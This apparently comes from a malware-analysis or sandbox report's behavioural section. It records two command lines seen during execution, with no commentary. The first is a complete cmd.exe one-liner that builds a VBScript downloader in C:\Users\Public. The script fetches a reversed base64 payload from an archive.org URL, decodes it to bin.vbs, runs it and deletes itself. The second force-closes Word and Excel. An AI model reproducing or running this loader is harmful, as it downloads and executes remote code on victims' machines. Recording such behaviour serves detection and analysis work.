Behavioral Analysis

cmd.exe "C:\Windows\System32\cmd.exe" /c cd C:\Users\Public &@echo dim http_obj >>SiggiaW.vbs &@echo dim stream_obj >>SiggiaW.vbs &@echo dim shell_obj >>SiggiaW.vbs &@echo set http_obj = CreateObject("Microsoft.XMLHTTP") >>SiggiaW.vbs &@echo set stream_obj = CreateObject("ADODB.Stream") >>SiggiaW.vbs &@echo set shell_obj = CreateObject("WScript.Shell") >>SiggiaW.vbs &@echo URL = "https://ia801408.us.archive.org/25/items/defender_202103/defender.txt" >>SiggiaW.vbs &@echo http_obj.open "GET", URL, False >>SiggiaW.vbs &@echo http_obj.send >>SiggiaW.vbs &@echo stream_obj.type = 1 >>SiggiaW.vbs &@echo stream_obj.open >>SiggiaW.vbs &@echo stream_obj.write http_obj.responseBody >>SiggiaW.vbs &@echo stream_obj.savetofile "C:\Users\Public\1.txt", 2 >>SiggiaW.vbs &@echo Dim xxx >>SiggiaW.vbs &@echo Set xxx = CreateObject("Scripting.FileSystemObject") >>SiggiaW.vbs &@echo Set file = xxx.OpenTextFile("C:\Users\Public\1.txt", 1) >>SiggiaW.vbs &@echo content = file.ReadAll >>SiggiaW.vbs &@echo content = StrReverse(content) >>SiggiaW.vbs &@echo Dim fso >>SiggiaW.vbs &@echo Dim fdsafdsa >>SiggiaW.vbs &@echo Dim oNode, fdsaa >>SiggiaW.vbs &@echo Const adTypeBinary = 1 >>SiggiaW.vbs &@echo Const adSaveCreateOverWrite = 2 >>SiggiaW.vbs &@echo Set oNode = CreateObject("Msxml2.DOMDocument.3.0").CreateElement("base64") >>SiggiaW.vbs &@echo oNode.dataType = "bin.base64" >>SiggiaW.vbs &@echo oNode.Text = content >>SiggiaW.vbs &@echo Set fdsaa = CreateObject("ADODB.Stream") >>SiggiaW.vbs &@echo fdsaa.Type = adTypeBinary >>SiggiaW.vbs &@echo tempdir = CreateObject("WScript.Shell").ExpandEnvironmentStrings("C:\Users\Public\bin.vbs") >>SiggiaW.vbs &@echo LocalFile = tempdir >>SiggiaW.vbs &@echo fdsaa.Open >>SiggiaW.vbs &@echo fdsaa.Write oNode.nodeTypedValue >>SiggiaW.vbs &@echo fdsaa.SaveToFile LocalFile, adSaveCreateOverWrite >>SiggiaW.vbs &@echo Set fso = CreateObject("Scripting.FileSystemObject") >>SiggiaW.vbs &@echo Set fdsafdsa = CreateObject("WScript.Shell") >>SiggiaW.vbs &@echo If (fso.FileExists(LocalFile)) Then >>SiggiaW.vbs &@echo fdsafdsa.RUN (LocalFile) >>SiggiaW.vbs &@echo End If>>SiggiaW.vbs& SiggiaW.vbs &dEl SiggiaW.vbs

cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /f /im winword.exe & taskkill /f /im EXCEL.exe